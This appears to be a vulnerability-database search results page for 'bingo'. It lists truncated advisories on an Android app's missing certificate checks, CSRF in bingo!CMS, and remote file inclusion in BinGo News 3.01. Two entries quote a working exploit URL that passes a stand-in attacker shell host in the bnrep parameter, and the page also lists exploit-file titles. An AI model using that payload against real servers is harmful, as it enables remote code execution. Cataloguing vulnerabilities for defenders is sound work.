104 matches found
CVE-2014-5536
The Bingo Bash - Free Bingo Casino aka air.com.bitrhymes.bingo application 1.31.1 for Android does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate...
CVE-2014-5536
CVE-2014-5536 concerns the Bingo Bash - Free Bingo Casino Android app (package air.com.bitrhymes.bingo), version 1.31.1. The connected documents confirm that the app does not verify X.509 certificates from SSL servers, allowing a man-in-the-middle attacker to spoof servers and access sensitive in...
BinGo News <= 3.01 (bnrep) Remote File Include Vulnerability
在文件bpncom.php中,未对包含对象参数bnrep做过滤导致远程文件包含漏洞,代码如下 include $bnrep."bnconfigs.php"; 可导致远程文件包含如下: http://example.com/path/bpncom.php?bnrep=http://SHELLURL.COM...
Facebook Game - BINGO Blitz Detected (deprecated)
Binary data 6384.prm...
CVE-2009-3022
Cross-site request forgery CSRF vulnerability in bingo!CMS 1.2 and earlier allows remote attackers to hijack the authentication of other users for requests that modify configuration or change content via unspecified vectors...
Cross site request forgery (csrf)
Cross-site request forgery CSRF vulnerability in bingo!CMS 1.2 and earlier allows remote attackers to hijack the authentication of other users for requests that modify configuration or change content via unspecified vectors...
CVE-2009-3022
Cross-site request forgery CSRF vulnerability in bingo!CMS 1.2 and earlier allows remote attackers to hijack the authentication of other users for requests that modify configuration or change content via unspecified vectors...
CVE-2009-3022
CVE-2009-3022 describes a cross-site request forgery vulnerability in bingo!CMS up to version 1.2. The issue could allow an attacker to hijack a logged-in user’s session to perform requests that modify configuration or content. The core impacted component is bingo!CMS (core and likely the 1.2 ser...
CVE-2009-3022
Cross-site request forgery CSRF vulnerability in bingo!CMS 1.2 and earlier allows remote attackers to hijack the authentication of other users for requests that modify configuration or change content via unspecified vectors...
PT-2009-5362 · Bingo! · Bingo!Cms
Name of the Vulnerable Software and Affected Versions: bingo!CMS versions 1.2 and earlier Description: A cross-site request forgery issue allows remote attackers to hijack the authentication of other users for requests that modify configuration or change content. Recommendations: For versions 1.2...
bingo!CMS core and bingo!CMS vulnerable to cross-site request forgery
Overview bingo!CMS core and bingo!CMS contain a cross-site request forgery vulnerability. bingo!CMS core and bingo!CMS are content management systems CMS. bingo!CMS core and bingo!CMS contain a cross-site request forgery vulnerability. Masako Oono reported this vulnerability to IPA. JPCERT/CC...
Bingo News BP_ncom.PHP远程文件包含漏洞
BinGoPHP是一款基于PHP的WEB应用程序。 BinGoPHP不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于'BPncom.PHP'脚本对用户提交的'bnrep'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 BinGoPHP BinGoPHP 3.01 http://bingophp.free.fr/ http://www.example.com/Script Path/bpncom.php?bnrep=http://SHELLURL.COM?...
CVE-2006-4649
PHP remote file inclusion vulnerability in bpnews.php in BinGo News BP News 3.01 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the bnrep parameter...
CVE-2006-4648
PHP remote file inclusion vulnerability in bpncom.php in BinGo News BP News 3.01 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the bnrep parameter...
CVE-2006-4649
The CVE-2006-4649 entry affects BinGo News (BP News) software, specifically version 3.01 and earlier. The vulnerability is a PHP remote file inclusion in bp_news.php via the bnrep parameter, allowing an attacker to cause the execution of arbitrary PHP code on the affected system. Connected record...
CVE-2006-4649
PHP remote file inclusion vulnerability in bpnews.php in BinGo News BP News 3.01 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the bnrep parameter...
CVE-2006-4648
The CVE-2006-4648 entry describes a PHP remote file inclusion vulnerability in BinGo News (BP News) version 3.01 and earlier, affecting bp_ncom.php. An attacker can cause arbitrary PHP code execution by supplying a URL in the bnrep parameter (remote file inclusion via bnrep). The connected record...
CVE-2006-4648
PHP remote file inclusion vulnerability in bpncom.php in BinGo News BP News 3.01 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the bnrep parameter...
BinGo.txt
============================================================================================== BinGo News = v3.01 bnrep Remote File Inclusion Exploit =============================================================================================== Critical Level : Dangerous Venedor site :...
BinGo News <= v3.01 (bnrep) Remote File Inclusion Exploit
============================================================================================== BinGo News = v3.01 bnrep Remote File Inclusion Exploit =============================================================================================== Critical Level : Dangerous Venedor site :...